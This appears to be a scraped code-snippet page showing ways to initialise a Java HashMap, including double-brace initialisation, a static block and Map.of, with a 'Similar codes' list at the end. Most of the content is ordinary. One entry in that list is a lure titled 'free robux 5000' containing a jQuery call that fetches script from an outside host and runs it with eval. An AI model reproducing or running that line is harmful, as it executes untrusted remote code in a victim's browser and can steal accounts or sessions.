Initialize hashmap with values

New hashmap java

Map<String, String> myMap = new HashMap<String, String>() {{
        put("a", "b");
        put("c", "d");
    }};

Source: stackoverflow.com

Java 11 initialize map

Map<String, String> emptyMap = Map.of();
Map<String, String> singletonMap = Map.of("key1", "value");
Map<String, String> map = Map.of("key1","value1", "key2", "value2");

Source: baeldung.com

Hashmap declare and initialize with values in 1 line java

Java:
new HashMap<String, String>() {{ put("Key", "Value"); }};

Initialize hashmap with values

public static Map<String, String> articleMapOne;
static {
    articleMapOne = new HashMap<>();
    articleMapOne.put("ar01", "Intro to Map");
    articleMapOne.put("ar02", "Some article");
}

-1

Source: baeldung.com

Initialize hashmap with values

Map<String, String> doubleBraceMap  = new HashMap<String, String>() {{
    put("key1", "value1");
    put("key2", "value2");
}};

-1

Source: baeldung.com

Similar codes

1 vote258 views1 answer
Android how to determine if the edit text focus changes
Java
52 votes244 views3 answers
Java get input
Java
0 vote257 views1 answer
Fabricmc concat text
Java
0 vote258 views2 answers
Transparent dialog in android
Java
0 vote247 views1 answer
Android java how to blur an image
Java
3 votes272 views3 answers
Toast java example
Java
0 vote272 views1 answer
How to use another class in java inside of an action listenrer
Java
0 vote239 views10 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 5000
Java
0 vote277 views1 answer
Hystrix configuration spring boot
Java Spring
1 vote215 views2 answers
Program in java. Get a string from user and also validate it’s length should be at least 1. Pass this string to a method that returns a new string with the first char added at the front and end, so "cat" yields "ccatc".
Java